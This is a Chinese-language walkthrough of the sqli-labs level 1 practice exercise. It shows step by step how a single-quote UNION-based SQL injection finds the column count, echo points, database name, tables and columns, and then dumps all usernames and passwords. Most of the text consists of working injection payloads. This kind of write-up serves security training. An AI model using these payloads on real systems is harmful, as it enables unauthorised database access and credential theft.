# WEB --sql-labs--1

判断列数

id=1' order by 3 -- s

 

id=1' order by 4 -- s

 

判断回显点

id=0' union select 1,2,3 -- s //判断回显点是要将id=0，或者负数因为当id=1或者其他数字时，其在数据库中存在数据，在这种情况下，会优先输出数据库中的内容如图所示

 

 

爆出数据库与用户名

id=0' union select 1,user(),database() -- s

 

根据数据库名爆出数据表名

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

 

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s

 

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- s

 

根据数据库表名爆出字段名

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--s
​

 

爆出所有用户名和密码

id=0' union select 1,group_concat(username),group_concat(password) from users--+

 

总结；

1，单引号字符型注入

 

 

 

 

2，

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- s

（1）group_concat函数是将查询到的每行结果以某个字段名进行合并，每一行合并的结果以逗号分隔开

（2 从information_schema数据库中的tables表中查找数据库security所含有的表有哪些